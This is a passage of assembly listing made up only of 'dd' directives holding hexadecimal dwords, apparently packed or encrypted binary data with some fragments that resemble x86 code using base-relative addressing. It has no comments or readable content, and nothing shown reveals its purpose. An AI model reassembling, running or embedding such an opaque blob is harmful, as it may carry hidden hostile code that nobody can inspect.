		dd 1F11AE07h, 0EC175667h, 49EC09Dh, 5666BEB6h, 0F7A93117h
		dd 56676F45h, 0F95AC217h, 0B99C19ABh, 73EB12A6h, 0CF6AE32Dh
		dd 1DAF359Bh, 11658727h, 0A7A1029Ah, 8474E52Eh,	55BEAC13h
		dd 2589E58Bh, 80892549h, 40F2AC79h, 0CCC35B3h, 0AA39B846h
		dd 7C152418h, 630F970Bh, 0FCCFA3CFh, 0E82E30BCh, 0F1B968C0h
		dd 1700000Ch, 906A3EE1h, 10EABE5Fh, 9C6632E3h, 12E8BC5Dh
		dd 0C16733E0h, 3B02240h, 8A29AD57h, 7B824DEh, 7524A953h
		dd 0AB198B21h, 1D474CD1h, 6D01A824h, 0BBE549E8h, 66999321h
		dd 74EC1756h, 9B9CD1D7h
		dd 660AA659h, 0D694A60Ah, 3CA95FA6h, 44DE340Eh,	565DFEF6h
		dd 4AE97117h, 76A13h, 1B6E4A00h, 3EAE1C42h, 9812A6B9h
		dd 0DE721F56h, 0F26A11B2h, 7BF836ACh, 6C1A76DAh, 11658798h
		dd 82D073EBh, 3C68094Ch, 0BCE28FC6h, 86A09426h,	8B131165h
		dd 0AFE8828h, 3116587h,	0C3712FF6h, 0CCB9330h, 62685BC3h
		dd 62E82ED4h, 0C421BCAh, 14440000h, 8ACD3763h, 1645BFEBh
		dd 88C93367h, 1347BDE9h, 13923460h, 0E8BC5F93h,	6B3FDC12h
		dd 0E8BC6391h, 6A3EDB12h, 0CE052C0h, 7F1D474Eh,	0A3395AF3h
		dd 56671B11h, 55F66E17h, 0D37F1A53h, 508394D9h,	0B8D487CBh
		dd 84A78D4h, 3CE791DCh,	0C417340Eh, 4E000006h, 56671F11h
		dd 819DEC17h, 8E0450BDh, 603E52BCh, 0A75E82D2h,	0B3ED7512h
		dd 0D59F87Dh, 53E17EF7h, 11662C59h, 4CFE75ACh, 467F64Dh
		dd 0A1A80468h, 61D38D58h, 0CCC2DD2h, 0A24F824Ch, 21D2040Eh
		dd 2E8DE18Dh, 0DAFECD55h, 0EEE82E38h, 0B9A9746h, 3CBC0000h
		dd 0C235CF9Bh, 3EBD4713h, 0C031CB9Fh, 3BBF4511h, 0EB6ACC98h
		dd 0F0A4579Bh, 4317C40Ah, 0D0843BB9h, 0A2F6A32Ah, 54289A08h
		dd 0A71D474Eh, 0E86D822Bh, 66EFE549h, 0E4882FADh, 510274BAh
		dd 923291FDh, 6B72E2A0h, 340E3D9Dh, 8A92CE2h, 326BC8A4h
		dd 61Bh, 0C0B4069Ch, 3317565Eh,	6EAD08ABh, 8ED2031Bh, 327346E5h
		dd 0D8B418BDh, 3486D8B4h, 12A6E013h, 0FA603EA6h, 65AD7448h
		dd 0FC5FC711h, 78FA34AEh, 0FF7D77DBh, 91973458h, 13E9BD5Ch
		dd 0E5933FDAh, 1165AD13h, 6A341118h, 0CBB92BD8h, 7546DE0Ch
		dd 0E82EAE53h, 0E912C36Bh, 0EF00000Ah, 18E2B669h, 887226D7h
		dd 4FEAA4Bh, 8A7024D5h,	59FFAB48h, 8B28AAD8h, 2B125DFh
		dd 8F30AC56h, 0DAC21DBh, 0D361F359h, 1D474ED9h,	3909A02Ch
		dd 7FD37EF7h, 3FB6B013h, 0C1343E92h, 0CC8EBC10h, 3DA355A0h
		dd 74D3340Eh, 8A000005h, 56671A11h, 3F061317h, 0B993D361h
		dd 0FA6212A6h, 4AE76AA4h, 0EF21BBE9h, 0F63CF6Ah, 1023AAACh
		dd 0F29E32E3h, 0CC0EC09Eh, 0F9550449h, 25AF995h, 68C475F8h
		dd 0CD7F1861h, 116586F7h, 5A52E04Ah, 0AD116587h, 0B5075935h
		dd 116586BFh, 98C6AA32h, 0CB66992Ah, 87B42C0Ch,	0E82EE18Fh
		dd 391ACB63h, 5F00000Ah, 0C8326619h, 7882D687h,	0F40E5AFBh
		dd 7A80D485h, 0A90F5BF8h, 7B185A28h, 0F2A1D52Fh, 7F205CA6h
		dd 0FD9CD12Bh, 239103A9h, 1D475049h, 399930BCh,	73D083F7h
		dd 0F510075h, 40EC93C1h, 6B3262Ch, 0C565C6AAh, 7221559Bh
		dd 0F39ED7D1h, 7120555Fh, 0B3A5D7DDh, 0FCAE9727h, 5CF09CC7h
		dd 1342B20Ch, 3087F5BBh, 0FC481CBDh, 340F2F0Ch,	1A378h
		dd 0E86D2100h, 6AA97F08h, 91FD54D5h, 0E25E26CFh, 3570A5AFh
		dd 0B61ABD3Fh, 0D3D979DAh, 52ABFF9Ah, 92207E47h, 12BCDC45h
		dd 43398B11h, 0B6116CBAh, 0C4680948h, 1C67C4A8h, 0EC762884h
		dd 7A0CB122h, 116CBA82h, 0B4CE6DF5h, 116CB9C4h,	0FB02723Ch
		dd 2E24900Dh, 4C79h, 1B6E2000h,	9CD21C42h, 613F53FFh, 5666D9D3h
		dd 17B42C17h, 0DD11DF45h, 0D4781958h, 1478D4B8h, 9539DE1Eh
		dd 2B205AF9h, 0F712BC49h, 0B61AB939h, 9A0279DAh, 38704036h
		dd 86C8116Ch, 0A790F56h, 0C9852E24h, 2B000000h,	64C776E5h
		dd 49E86DC1h, 0C86BEFE5h, 4AE76E64h, 756FFD14h,	0DDDE5E2h
		dd 0D1040EAEh, 40DA7420h, 566AFAF2h, 3AB34D17h,	2A50F39Fh
		dd 1756524Dh, 5B9F98DDh, 7980D4B8h, 0B90B5530h,	12BA9729h
		dd 51418F1h, 0C12C09BDh, 0DF811962h, 2354E111h,	0B04A1E72h
		dd 0C4A29142h, 50E241A1h, 8C629F8h, 88C80000h, 0F67983D7h
		dd 6AE91347h, 0F4659FCBh, 67EB1145h, 0C746E0B4h, 0CC983BBFh
		dd 4713C036h, 0CC983FBDh, 4612BF36h, 0F8CC7EECh, 4B1D4750h
		dd 0F7396EC7h, 787EDD80h, 621218FAh, 3B867ECCh,	61F91757h
		dd 16A4FA4Ch, 0A1D42E7Ah, 82D92BC2h, 11CB6930h,	56898D67h
		dd 0BF5E9D17h, 90087F13h, 0AA6539Ah, 75E0A66h, 0D083F739h
		dd 37007573h, 0BBB11DC0h, 44288437h, 0E2E84428h, 764EFC6Bh
		dd 0C9175667h, 8A633D51h, 53A47C0Dh, 6D2FFAEh, 0E78B4F34h
		dd 3698C063h, 6AC677F8h, 0FC78A506h, 21000002h,	1C421B6Eh
		dd 0BC75D5AEh, 0A1D62812h, 503C50FCh, 53B68AFCh, 4C02116Ch
		dd 2623D520h, 8F532E24h, 0A000002h, 56671C11h, 16D84217h
		dd 0F29E32DFh, 5666B084h, 7DFD0317h, 721E72DEh,	0F8C5D4D1h
		dd 0B9D014A6h, 3BA312A6h, 0BC31FF65h, 32BBB11Dh, 2B472B87h
		dd 0AA478E88h, 0E8DC6EF4h, 5B116586h, 0C23860C3h, 0A645888Bh
		dd 65872014h, 670B9311h, 405E6CBh, 0AA1F66D4h, 0EA8BCCC6h
		dd 0D6232A86h, 50E3510Fh, 0E30CCB84h, 9438DF1Dh, 0CBA794F8h
		dd 5FE82EC4h, 78A26F7h,	4C8C0000h, 0D205FFABh, 4E8D7723h
		dd 0D001FBAFh, 4B8F7521h, 0DB5AFCA8h, 207427ABh, 0B3E794DAh
		dd 540B49h, 92C673FAh, 2418AA38h, 971D4752h, 0A339B21Bh
		dd 66B18B39h, 9C041756h, 566712EAh, 5EFD6517h, 0ED251558h
		dd 43CF3CBBh, 4943EF83h, 51F95504h, 27AEED1Fh, 9E6ADE8Ah
		dd 0E5340E53h, 53F0A32Bh, 1B10Ah, 8C3EA400h, 175674B8h
		dd 749C9022h, 77EF1756h, 72B59800h, 49595925h, 6DB712B1h
		dd 0EFE549E8h, 669FCB66h, 8E144A13h, 841A167h, 0A9DAD7EFh
		dd 4ADC2007h, 0D1AB0864h, 12BC8686h, 0F0C2B950h, 2092CAC9h
		dd 56F5AA2Ah, 25EBB52Dh, 0C1AD01B0h, 0C4B4C262h, 3C116C2Dh
		dd 0DFB0272h, 722E2404h, 3C9F40BCh, 4365h, 0D505CB00h
		dd 0F2CA7826h, 45116C25h, 6EDB7EDDh, 79CD031Bh,	6894A0D4h
		dd 0F3E85A04h, 8612BD0Bh, 0F4C4B21Eh, 3A116CFAh, 0A1AB07B4h
		dd 55858F2Eh, 702E0AA6h, 0E3ADD104h, 0CD946471h, 0EFE02E24h
		dd 0B9000000h, 1749E86Dh, 59FA99D9h, 0EA69A7F9h, 288BE74Bh
		dd 0A30FAC2Eh, 1DC033FDh, 787EDDB1h, 0B6E844F5h, 7219F978h
		dd 56655901h, 6462C1ADh, 47E901F1h, 3B36DE30h, 44CAB2C3h
		dd 0ACC0ACF2h, 60717EF8h, 23ED1756h, 0CCA00CAFh, 40E390C6h
		dd 3C620F46h, 0B68E3CA6h, 917563Fh, 400DE791h, 0CA601756h
		dd 56408478h, 36FF717h,	0F801F8A0h, 73E9732Dh, 563FEBC1h
		dd 0B2F80417h, 37E7ABC1h, 17BD840h, 12BA5C91h, 28E6B820h
		dd 0BE5709AAh, 973210DBh, 0C5BF0D4Eh, 381168E1h, 376FCCA0h
		dd 46888DCDh, 39553995h, 4164380Ah, 0B564CCE2h,	5C8h, 81D58ACEh
		dd 1541F47Bh, 9DC96CEFh, 1347F267h, 9ECA69E9h, 95C5B938h
		dd 648B2E6h, 79FB0155h,	0E56892C6h, 58CA6034h, 475412EAh
		dd 40E9651Dh, 1A4EED6Dh, 5BF87AB4h, 0DA77FEF8h,	0F739D78Eh
		dd 9746B57Eh, 983B573Bh, 16BA579Eh, 6C38D91Ch, 4A4Dh, 0E86D1400h
		dd 3F8D1749h, 17566745h, 238320B8h, 5F55E77Dh, 0D2175667h
		dd 66EFE94Ah, 0CF7C95CBh, 0EEEB420Dh, 251FADF3h, 98175707h
		dd 0C03A300h, 8CC1D606h, 9B29B3EDh, 175706A1h, 9935E469h
		dd 0B91A82F5h, 29C0E1h,	6D990000h, 3BAC2FE8h, 5666B389h
		dd 0F29E0617h, 0F25E325Eh, 0B08436ACh, 3175666h, 6D42389Bh
		dd 91175667h, 0CB0299CBh, 6D237A2Eh, 0ECE549E8h, 6C40F29Dh
		dd 0DF175667h, 0C7752B47h, 12A6870Fh, 0E594D917h, 0FBA53D46h
		dd 4F11C035h, 878D67D5h, 78E01165h, 0F47983DBh,	99E0E945h
		dd 0C60892CCh, 3E44E794h, 0CB5D9C7h, 6AF0AE36h,	2B8738A4h
		dd 0EA8E6A47h, 0A6DF1467h, 2FCA0305h
		dd 0AD4C817Bh, 24010801h, 7F9BC87Ah, 0AE4706DAh, 5599025Fh
		dd 4F68BA6h, 0D8403B98h, 1F8223EBh, 5E8F27EEh, 488h, 0C1954A8Eh
		dd 5501B43Bh, 0DD892CAFh, 5307B227h, 0DE8A29A9h, 5585F978h
		dd 0C608F2A6h, 39BB4115h, 0A528D286h, 980AA0F4h, 4755522Ah
		dd 8029A51Dh, 1749E86Dh, 49E594D9h, 24DE8625h, 0A6AC00B1h
		dd 35DC822Fh, 7A087481h, 15B51662h, 3A81F3BDh, 4EEF60B3h
		dd 0BCE28EE2h, 0FB58FD72h, 0D46117A3h, 5DAD340Eh, 0F4000000h
		dd 1C421B6Eh, 0BC2AF9AEh, 7BCC2512h, 0D281F1DDh, 0FBD2D3FFh
		dd 3B892358h, 116BEB41h, 0D8AC1EB4h, 2B116BEAh,	0EDB3DFB3h
		dd 5A0EB123h, 6BEAEEDCh, 4DAD2011h, 6AD81F00h, 116BA892h
		dd 49507DE5h, 89DDB1ACh, 5E0173h, 48EB88CEh, 1F5FB6E8h
		dd 2AE3BEB4h, 0C5D508ABh, 8C000003h, 0D083F739h, 5005767Ch
		dd 54999F3Ch, 4FE38EC3h, 0F58A2C62h, 0A9C52235h, 0BC6F45F7h
		dd 5AC21756h, 5D909A36h, 811E8BCh, 86D1633Dh, 5012BCCAh
		dd 17BB589Eh, 3BA3D87Bh, 0A80FE197h, 2769116Ch,	7DE0A8B5h
		dd 402C2E24h, 75000000h, 1C421B6Eh, 6B0C4886h, 47F5ABC7h
		dd 1756676Dh, 81FB58C0h, 12BC488Ah, 0E794DA14h,	0FF84274Bh
		dd 0CBBDCB67h, 35116C37h, 0CFC097Bh, 782E240Ah,	0BEh, 6FE4CD6h
		dd 79116C2Ch, 6DE742E1h, 0FAA2FE8h, 95C5CF63h, 9022B8E6h
		dd 1756669Ch, 74D477EFh, 0F65AF77Eh, 8CD879FCh,	5664FD0Ah
		dd 0E988CD17h, 510E47BDh, 566209E3h, 0EEE47C17h, 0EA2CE6Bh
		dd 0C4DF207h, 915F016Dh, 7D11BD5Ch, 0A13E8CDEh,	5412BC5Dh
		dd 186198CCh, 0F3A1134Dh, 0C60CD0ACh, 8CCE005Eh, 1141BBEFh
		dd 0CA7B5162h, 238BE82Ah, 2CFF2h, 0D87FF100h, 5C01768Ch
		dd 0DC81F208h, 52FF7288h, 0DD7EFC06h, 0D4AE2F89h, 5BA1F5A6h
		dd 0CE346013h, 47BDE98Eh, 9D37630Eh, 56C7BD0Fh,	0B63A1D47h
		dd 0DAD0391Fh, 867A67FAh, 3C7CDECDh, 1B4B7F11h,	9F3CBEB8h
		dd 1DBC31CBh, 1B6E1049h, 0A2D21C42h, 0CBA7529Bh, 0E7550B67h
		dd 1756670Dh, 95BF860h,	0BC48A0BBh, 45B47A12h, 0D44C3794h
		dd 383A0E78h, 7EF0116Ch, 0F67B71DDh, 8DD3F75Bh,	0C423E5Fh
		dd 9E395E0h, 0D6182E24h, 7D77C5A4h, 0F0116C2Ch,	0FEA70468h
		dd 0CBh, 280B950h, 5F5CB70Bh, 0E86D59FCh, 99D91749h, 1E5C56FAh
		dd 0D1BDD17Dh, 9AD8D272h, 86B10BB8h, 0E8849DF4h, 0B1F31A44h
		dd 1EC818EEh, 0EE1963C0h, 0A81756A0h, 646BB41h,	7AD9F631h
		dd 0C58F97Ch, 52E07FF6h, 1756D55Ah, 0D96B35ADh,	1756D4E3h
		dd 0EA2CE56h, 752BF207h, 0BCD048C7h, 3763FB12h,	72255799h
		dd 0F8C5D4D1h, 4BEC68A6h, 7A288BE7h, 0D122BBC8h, 88D64E0Ch
		dd 33671446h, 0BCAB89C9h, 9175171Eh, 8E5A6905h,	0FAE82A17h
		dd 1A68352h, 28A80000h,	96D92377h, 0A49B3E7h, 94C53F6Bh
		dd 74BB1E5h, 27A60054h,	2C781B5Fh, 0A7F3A0D6h, 2C781F5Dh
		dd 0A6F29FD6h, 582C9E0Ch, 0AB1D4758h, 0ED6D8E27h, 6DE01A4Eh
		dd 6DC198CCh, 0EFE549E8h, 659FCB66h, 0E4ED41F0h, 2496C895h
		dd 12BC7BF3h, 38329E06h, 0BFB519BAh, 69379B36h,	6C49E1DBh
		dd 9CCC5411h, 0D383B222h, 35B8FF6Dh, 0E029D084h, 0FEE95B05h
		dd 710CD232h, 219369DBh, 7EE60B82h, 209A9220h, 75ED0B82h
		dd 6FDD4719h, 0B822095h, 73D370E8h, 0E945F479h,	3880ECE6h
		dd 0F84A14F1h, 6E808EFh, 92F0826Bh, 0ECA080D9h,	0A66CA6Bh
		dd 26BEC566h, 94458872h, 24D504CAh, 9064D688h, 0E3059800h
		dd 14B4177Bh, 9539DE1Eh, 0B2097BC5h, 33CA9E3Bh,	0F3411FE6h
		dd 0FE149Ch, 54054886h,	4A148CF7h, 7A45584h, 8928ADA7h
		dd 15DB7525h, 0F29E32E1h, 0D9E11351h, 0BC5F93D0h, 4E107C10h
		dd 13F6ABFCh, 0C674DEFBh, 0F9C3C3EEh, 0E1B5D941h, 6A341118h
		dd 13E3FED8h, 39950DF5h, 411FBA33h, 0E49369DBh,	589BF3D2h
		dd 0E94AD2A5h, 57024BB1h, 42168DFBh, 0DBD13D43h, 7FDB12A9h
		dd 20FD151Ah, 6B4EAE3h,	7C42412Eh, 21751981h, 4BE792DBh
		dd 3F611041h, 5C83EDD6h, 0C85D04FCh, 73100339h,	953596FAh
		dd 0E6097BC5h, 9F3CB27Ch, 53295F33h, 8F7C418Ch,	418C473Dh
		dd 5522BA7Ch, 0E194C7CDh, 8482214Dh, 4C209251h,	0C27C418Ch
		dd 234FE390h, 0F4A0CC54h, 0AA18C70Eh, 7C418BD2h, 7DD1BD25h
		dd 3ACh, 0A508F500h, 9834EB6Dh,	12BE5B92h, 973BDC18h, 16BA599Dh
		dd 913DDE1Ch, 8A4579Bh,	8E22CF02h, 0AA65784h, 822ECF00h
		dd 0E78957E9h, 4C781h, 0EF830000h, 243C8704h, 243C895Ch
		dd 7F3368h, 241C8900h, 81E18951h, 4C1h,	4E98300h, 5C240C87h
		dd 57243C89h, 0C951D3BFh, 32A0BB7Eh, 0FB2984BAh, 81243C8Bh
		dd 4C4h, 3C8B5400h, 4C48124h, 83000000h, 2C8904ECh, 89DD8924h
		dd 0FF5D086Fh, 815F2434h, 4C4h,	241C8B00h, 81E78957h, 4C7h
		dd 4C78100h, 87000000h,	0E95C243Ch, 0FFF98A6Ah,	0E5E49939h
		dd 0A5B3B06h, 0F0F390B8h, 0FFC50305h, 0E8F766E0h, 5CF05B3Ch
		dd 8EDDB748h, 57AF514Eh, 0F9AA265Bh, 0C8907B33h, 0B789436Ah
		dd 9EAF8D61h, 0E909C962h, 9036C210h, 80794625h,	0C66A2113h
		dd 9748B441h, 0E025F05Ah, 0DDFCF50Fh, 69A85036h, 4A78E35h
		dd 8E857h, 614F0000h, 0DF3999C4h, 8B667F1Fh, 0C3815BFEh
		dd 64D8h, 51B96060h, 61755980h,	0BE9h, 2971A400h, 0E9F991F9h
		dd 0A3BEF2FBh, 6861h, 7E90000h,	76000000h, 37DB27h, 8B599BD3h
		dd 13E90B04h, 0B1000000h, 61C56554h, 0C8EF22E2h, 51B75B66h
		dd 8D437B26h, 0E881C2C9h, 48B61829h, 1ECE8BBEh,	12F08161h
		dd 0BA327E06h, 10082ECEh, 52AC081h, 0F603082h, 6E9D1BFh
		dd 57000000h, 5A35CC5Ah, 4896122h, 0CE80F80Bh, 3E983F1h
		dd 0F98149F5h, 0FFFF9BC0h, 0FFA1850Fh, 11E8FFFFh, 0E6000000h
		dd 4B74AA05h, 1321DFBBh, 59B84EFCh, 6AAEE5BCh, 5EFE8B66h
		dd 81C1B70Fh, 6A02C6h, 0EA8EBF00h, 63BA598Bh, 0B000001Ah
		dd 8B0E8B17h, 7EE981C6h, 8115C4D4h, 3CC781E7h, 33C1816Eh
		dd 8B3B50C0h, 0FFC181C6h, 8A253C0Dh, 8B0E89FAh,	2EE83D9h
		dd 5D4810BFh, 0F4E4E60h, 183h, 0EA83F900h, 0C2850F01h
		dd 0FFFFFFFh, 0C84h, 6820F00h, 81000000h, 85679FD3h, 358D8D5Bh
		dd 0E805F0F6h, 7, 7A608BC3h, 0F849073h,	388h, 0D2B70F00h
		dd 0DD8D895Fh, 8B05EA0Ah, 0EA1C6DB5h, 0DD8D2905h, 0C705EA09h
		dd 0EA0ACD85h, 72D805h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0AE7559F3h, 3C8108BAh
		dd 0D998501h, 85C705EAh, 5EA25F5h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 9FC35747h
		dd 0E2816660h, 0E08151E9h, 34708404h, 0C29B5FFh, 0B58905EAh
		dd 5EA126Dh, 2A1995FFh,	0CEBB05EAh, 6A06D7BEh, 1595FF00h
		dd 8B05EA10h, 8E6AEBC0h, 5B652A45h, 914F930Ch, 59D54F77h
		dd 80666FB7h, 8B56B2BBh, 8EEE2875h, 0E1EC9D1h, 0C5B23853h
		dd 0B719DCC8h, 0BE4DFEAFh, 145E1664h, 0B8473971h, 0A33DF268h
		dd 0A850FFD0h, 0E8D690B5h, 83C27463h, 680FFCE2h, 96F32AE3h
		dd 267C6CB1h, 3CAC58F8h, 88DAF21Fh, 0F1FF3770h,	1573757Ch
		dd 8226366Bh, 0D008E3E6h, 954A396Ah, 0CE88Dh, 6ED20000h
		dd 71285E82h, 0C9A501E5h, 810F60AAh, 6,	2BD99D8Bh, 8B5A05EAh
		dd 0EA29119Dh, 0F5C28105h, 81000069h, 9E54D0C9h, 81F62B34h
		dd 5D9C16E1h, 1634FF48h, 5FC2B70Fh, 0EF81DD8Ah,	427E20E5h
		dd 1B919589h, 0F78105EAh, 3AEAAE66h, 33158D8Bh,	0F78105EAh
		dd 12C8B51Eh, 57CBBF0Fh, 68C0Fh, 8D8B0000h, 5EA0165h, 0E932048Fh
		dd 0Dh,	0A34C92BAh, 0CAB5DA51h,	7E3D0FF7h, 48B0FFDh, 66000000h
		dd 83BA43B8h, 0BF0F01EEh, 4E4E4EC1h, 7358D03h, 0FE8105EAh
		dd 0FFFF96D4h, 12850Fh,	0B3B90000h, 0E931F2E8h,	1Fh, 41F5E369h
		dd 0D014EFFEh, 6810Fh, 95890000h, 5EA3311h, 0FFFF6CE9h
		dd 73A7B7FFh, 0EB06AFCFh, 8, 7F5A4200h,	4C1E978h, 82680000h
		dd 0E905F0F8h, 0FFF986EAh, 0F0F90D68h, 86E0E905h, 0A068FFF9h
		dd 0E905F0FAh, 0FFF986D6h, 81D58ACEh, 1541F47Bh, 9DC96CEFh
		dd 1347F267h, 9ECA69E9h, 95C5B938h, 648B2E6h, 79FB0155h
		dd 0E56892C6h, 58CA6034h, 475E12EAh, 40E9651Dh,	0E24EED6Dh
		dd 0E0B465E8h, 6B351019h, 0D6FFCF82h, 0F97CBAF2h, 0F498F458h
		dd 64B70557h, 5712BD24h, 185F91CFh, 6A5C965h, 1E0D0A6h
		dd 1658116Dh, 0D3E99FE6h, 0C152E24h, 4C000003h,	967F0F24h
		dd 0FAEF34DEh, 40F57A7Fh, 7F8A8F2Ch, 0C8BC0E94h, 3B175684h
		dd 84DFD5A3h, 0CA521756h, 0B14AF8A6h, 8412BC9Bh, 9A54C61Ch
		dd 6408A459h, 512BDC7h,	0CEDBE449h, 601BA9F7h, 7A0F6D19h
		dd 0E852E193h, 7DDEF532h, 3B329E06h, 0FB4917EEh, 982CC5Ch
		dd 0B32977EFh, 0A2152B5Ah, 2F8CF5E4h, 0A1F5A429h, 5467125Bh
		dd 0EB770A3Ah, 1ACB1AB2h, 0EF000003h, 18E2B669h, 887226D7h
		dd 4FEAA4Bh, 8A7024D5h,	59FFAB48h, 8B28AAD8h, 2B125DFh
		dd 8F30AC56h, 0DAC21DBh, 0D361F359h, 1D475ED9h,	6E09A02Ch
		dd 0D21C421Bh, 325EF29Fh, 0B81BBC38h, 92B058EAh, 0DB4312A6h
		dd 66074B85h, 656FE0D4h, 0C1CB5311h, 0D98DE190h, 520CAF23h
		dd 3F488BBh, 2C26B15Ch,	0DAD0EAFh, 0B9824A7Bh, 0F84AD0E2h
		dd 11664F04h, 956FDD77h, 0E811664Fh, 0B9BF1C70h, 0A6B68534h
		dd 5AE24405h, 28F23F2h,	0F0600000h, 6EE11B4Fh, 0F2619BCFh
		dd 6CED1743h, 0EF6399CDh, 3FBE184Ch, 34601347h,	0BFEB88CEh
		dd 34601745h, 0BEEA87CEh, 40348614h, 0B31D4760h, 0D039963Fh
		dd 0A82BCBC5h, 183559F5h, 16B585DDh, 0BF0D0613h, 175722C5h
		dd 4C209238h, 0BF175723h, 79274B27h, 0A74E3DCBh, 0C468F012h
		dd 662ABEB2h, 6D0E4C11h, 0D689CBC1h, 68942A7Ah,	2ABFB507h
		dd 0AA321166h, 2AE4BAC6h, 28DDF0A5h, 6B34A3E2h,	0CD3F7DDEh
		dd 1DAAF880h, 181042Eh,	6D5D0000h, 8D1749E8h, 5667453Fh
		dd 8320B817h, 0C7A42923h, 56677F75h, 0CF0CF217h, 7A2E422Eh
		dd 0F1AF7683h, 0BC761443h, 0D37FE712h, 6C52D3A5h, 0E9732D11h
		dd 6C53615Bh, 0AA2AD411h, 593559F5h, 0DC7F1A53h, 91676E9Eh
		dd 0FD2E2429h, 49h, 3568BA53h, 868A7C61h, 1B6E8025h, 0B5AE1C42h
		dd 4812BC48h, 360A7CD0h, 82116C38h, 0A355A0CCh,	0D82E240Ah
		dd 2BFCF042h, 0BD32116Ch, 0BEB66F18h, 41E10F1Dh, 1F46E589h
		dd 0B6h, 19FB7FB1h, 11B9CD12h, 76D5B9CCh, 49E86DD3h, 0C86BEFE5h
		dd 7A1B5896h, 0FA7379D9h, 63ADF35Fh, 8FE34FEAh,	678963D1h
		dd 64FC1756h, 0ED8CC1C7h, 62EF3FB9h, 2AA31756h,	0EF75DB8Fh
		dd 0AD01B021h, 61BDB7C1h, 0A8301756h, 22FB0E0Bh, 0B95CCE7Ch
		dd 73EB12BAh, 0D024C42Dh, 7B5CEDF5h, 8A2945F8h,	37E416D8h
		dd 74128069h, 4A472BFh,	0D505FFA7h, 10171526h, 47EFE240h
		dd 0FC96h, 0D48BCD00h, 40F57A80h, 0C86DEE14h, 46F3669Ch
		dd 0C96AE812h, 0C8BA3B9Dh, 47BDE98Ah, 0C2386C0Fh, 43B9ED92h
		dd 913B6F0Ah, 60BBB103h, 820E1D47h, 4EED6D2Bh, 0CC6DE01Ah
		dd 0E86DC198h, 66EFE549h, 13669FCBh, 148E144Ah,	5666CEA6h
		dd 1AB92117h, 0BC2BAF60h, 45AC212h, 0B5EB88CAh,	0BD3DF67Bh
		dd 0B2DEB21Eh, 89D1721Eh, 6C1B390Fh, 0DD7CF111h, 5CFF7389h
		dd 8321F0h, 39780000h, 71D285F7h, 6582574h, 0A69208B4h
		dd 7D23BB12h, 3F9C3FB3h, 0B160959Fh, 3BD61FE5h,	0BB20C997h
		dd 9DA8065Ch, 6B33A30h,	8CFCDFA5h, 7D7764E9h, 9445880Fh
		dd 6B33AC0h, 8508B158h,	0B5E92BF3h, 59FA9645h, 0D37EF3F9h
		dd 63912F7Fh, 24702154h, 7AC897DEh, 93D72782h, 27966EDCh
		dd 71E993D7h, 0FCA3DF06h, 8A54E22Ah, 3DD48AE6h,	0F5D4A6E5h
		dd 6A60581h, 0B6639658h, 3C815h, 8910000h, 34EB6DA5h, 0BE5B9298h
		dd 3BDC1812h, 0BA599D97h, 3DDE1C16h, 0A4579B91h, 22CF0208h
		dd 0A657848Eh, 2ECF000Ah, 8952E982h, 4C281E2h, 83000000h
		dd 143304EAh, 24143124h, 5C241433h, 24ED68h, 240C8900h
		dd 7C1868h, 242C8900h, 0F7A3BA52h, 595205F0h, 3A78685Ah
		dd 24890000h, 24048124h, 4, 3481515Dh, 7828C124h, 8458F1Ah
		dd 28C1BA52h, 55311A78h, 2C8B5A08h, 0E1895124h,	4C181h
		dd 0C1810000h, 4, 5C240C87h, 592434FFh,	0E904C483h, 0FFF98242h
		dd 1DF288FCh, 2C3F0237h, 91C555AAh, 0B83D0CADh,	5F0FBC1h
		dd 0E0FFC503h, 2327E45Eh, 3EB624B7h, 1C2A24DAh,	1622DC5Bh
		dd 3801214Bh, 4B96EAD0h, 23C85EF7h, 0D762B95h, 13E8h, 0BE484000h
		dd 58E777B9h, 98BEAA5h,	0C438E55Eh, 0A6EEA86h, 0E781665Ah
		dd 0C28110F3h, 660Ch, 6E860h, 51730000h, 815DBD4Ah, 815E6160h
		dd 0F2FDCDE0h, 4EB86174h, 8105C9D5h, 0C9BC0EE8h, 12E805h
		dd 0D90A0000h, 1DA51D68h, 0DF8A140h, 8ADB7C6Fh,	0D0209206h
		dd 60328B5Bh, 8E9h, 0DE3B9B00h,	319EA435h, 13E93Bh, 0EEFE0000h
		dd 1080D584h, 7813BD18h, 0BA6B39CDh, 210767A3h,	0F68161ABh
		dd 18690CA3h, 0C840Fh, 8F0F0000h, 6, 8B0Fh, 0F6810000h
		dd 1B8BBDFFh, 0B674BB60h, 0BF0F1803h, 0F68161C3h, 6D285B8Dh
		dd 56DEBF0Fh, 12E9h, 54E44200h,	0BA5F4C6Eh, 4FE3BBAFh
		dd 989116E1h, 8F9C34B6h, 8CDB8102h, 810F3B4Ah, 4866A4EAh
		dd 555EB959h, 0C2817EF8h, 594866A0h, 1C850F48h,	51000000h
		dd 0BE9h, 79B0F900h, 0C112F6C9h, 5557428Eh, 0FE959h, 1FB30000h
		dd 0E90613E3h, 0FFFFFF4Dh, 434BE9Dh, 0EE879h, 27F0000h
		dd 0B903EEB7h, 89C88842h, 61E515Fh, 5E19D180h, 0A6E2DA81h
		dd 0C6815C93h, 59F7h, 0FDC6D881h, 0FF330F9Ch, 8B88F580h
		dd 830F3E1Ch, 3, 81CE8B66h, 1FC636C3h, 11E975h,	7D420000h
		dd 3CBC1AECh, 56DAA80Fh, 0E5C42D23h, 81653726h,	724B50C3h
		dd 0C28B667Dh, 0B099F381h, 8B606605h, 9E8CFh
		dd 0FD0000h, 89993459h,	0E97867FEh, 7, 28DA1239h, 5A02DDADh
		dd 0F2805361h, 3E048F30h, 49C08166h, 4EF83FFh, 5820Fh
		dd 81660000h, 81E5C6C0h, 0FFA6DCFFh, 14850FFFh,	81000000h
		dd 8CC6E3C8h, 27E963h, 37570000h, 0E2C54C5Ch, 81C5085Eh
		dd 86704C9h, 0FF65E965h, 1BFCFFFFh, 0C4B3C77Ch,	0B3EE2793h
		dd 60D44CBDh, 614D732Dh, 83C08BDAh, 0EA13D9BDh,	9750005h
		dd 2EE5BD83h, 740005EAh, 8B535019h, 421B8C0h, 85890000h
		dd 5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h
		dd 50177400h, 421B853h,	85890000h, 5EA0D79h, 0DAE49D8Dh
		dd 0D3FF05ECh, 0C08B585Bh, 30A99D8Bh, 85C605EAh, 5EA1A45h
		dd 0B8526856h, 0B5FF9CA8h, 5EA238Dh, 0AFA0858Dh, 0D0FF05EDh
		dd 68046Ah, 0FF000010h,	0EA13A1B5h, 0FF006A05h,	0FC085D0h
